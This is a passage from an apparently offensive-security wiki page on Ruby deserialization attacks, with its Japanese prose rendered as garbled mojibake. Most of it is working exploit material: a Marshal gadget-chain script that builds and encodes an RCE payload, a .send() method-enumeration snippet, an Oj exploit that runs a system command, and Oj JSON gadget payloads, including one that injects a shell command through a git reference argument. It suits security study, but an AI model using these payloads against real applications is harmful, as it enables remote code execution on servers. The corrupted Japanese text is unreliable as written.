stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
ä»ã®RCEãã§ãŒã³ãå©çšããŠRuby On Railsãæ»æãã: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() ã¡ãœãã
ãã®è匱æ§ã¬ããŒãã§èª¬æãããŠããããã«ããŠãŒã¶ãŒã®æªãµãã¿ã€ãºå
¥åãrubyãªããžã§ã¯ãã®.send()
ã¡ãœããã«å°éãããšããã®ã¡ãœããã¯ãªããžã§ã¯ãã®ä»»æã®ä»ã®ã¡ãœãããä»»æã®ãã©ã¡ãŒã¿ã§åŒã³åºãããšãèš±å¯ããŸãã
äŸãã°ãevalãåŒã³åºãã次ã«rubyã³ãŒãã第äºãã©ã¡ãŒã¿ãšããŠæž¡ãããšã§ãä»»æã®ã³ãŒããå®è¡ããããšãã§ããŸã:
{% code overflow="wrap" %}
<Object>.send('eval', '<user input with Ruby code>') == RCE
{% endcode %}
ããã«ã.send()
ã®ãã©ã¡ãŒã¿ã®ãã¡ãæ»æè
ã«ãã£ãŠå¶åŸ¡ãããã®ã1ã€ã ãã®å Žåãååã®èšè¿°ã§è¿°ã¹ãããã«ãåŒæ°ãå¿
èŠãšããªãããããã©ã«ãå€ãæã€åŒæ°ãæã€ãªããžã§ã¯ãã®ä»»æã®ã¡ãœãããåŒã³åºãããšãå¯èœã§ãã
ããã«ã¯ããªããžã§ã¯ãã®ãã¹ãŠã®ã¡ãœãããåæããŠããã®èŠä»¶ãæºããèå³æ·±ãã¡ãœãããèŠã€ããããšãå¯èœã§ãã
{% code overflow="wrap" %}
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
{% endcode %}
ãã®ä»ã®ã©ã€ãã©ãª
ãã®æè¡ã¯ ãã®ããã°èšäºããåãããŸããã
ãªããžã§ã¯ããã·ãªã¢ã©ã€ãºããããã«äœ¿çšã§ããä»ã®Rubyã©ã€ãã©ãªãããããããã£ãŠäžå®å šãªãã·ãªã¢ã©ã€ãºäžã«RCEãåŸãããã«æªçšãããå¯èœæ§ããããŸãã以äžã®è¡šã¯ããããã®ã©ã€ãã©ãªã®ããã€ããšãããããã·ãªã¢ã©ã€ãºããããšãã«åŒã³åºãããã¡ãœããã瀺ããŠããŸãïŒåºæ¬çã«RCEãåŸãããã«æªçšããé¢æ°ïŒïŒ
ã©ã€ãã©ãª | å ¥åããŒã¿ | ã¯ã©ã¹å ã®ããã¯ãªãã¡ãœãã |
Marshal (Ruby) | ãã€ã㪠| _load |
Oj | JSON | hash (ã¯ã©ã¹ã¯ããã·ã¥ïŒãããïŒã«ããŒãšããŠå
¥ããå¿
èŠããããŸã) |
Ox | XML | hash (ã¯ã©ã¹ã¯ããã·ã¥ïŒãããïŒã«ããŒãšããŠå
¥ããå¿
èŠããããŸã) |
Psych (Ruby) | YAML | hash (ã¯ã©ã¹ã¯ããã·ã¥ïŒãããïŒã«ããŒãšããŠå
¥ããå¿
èŠããããŸã)init_with |
JSON (Ruby) | JSON | json_create ([json_createã«é¢ããããŒããåç
§](#table-vulnerable-sinks)ã®æåŸ) |
åºæ¬çãªäŸ:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Ojãæªçšããããšããå Žåãhash
é¢æ°å
ã§to_s
ãåŒã³åºããspecãåŒã³åºããfetch_pathãåŒã³åºãã¬ãžã§ããã¯ã©ã¹ãèŠã€ããããšãã§ããŸãããããã«ãããã©ã³ãã ãªURLãååŸãããããšãå¯èœã«ãªãããã®çš®ã®æªãµãã¿ã€ãºã®ãã·ãªã¢ã©ã€ãºè匱æ§ã®åªããæ€åºåšãæäŸããŸããã
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}
ããã«ãåè¿°ã®æè¡ã«ãããã·ã¹ãã ã«ãã©ã«ããŒãäœæãããããšãå€æããŸãããããã¯ããããå®å šãªRCEã«å€æããããã«å¥ã®ã¬ãžã§ãããæªçšããããã®èŠä»¶ã§ãã
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
詳现ã«ã€ããŠã¯ãå ã®æçš¿ã確èªããŠãã ããã
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã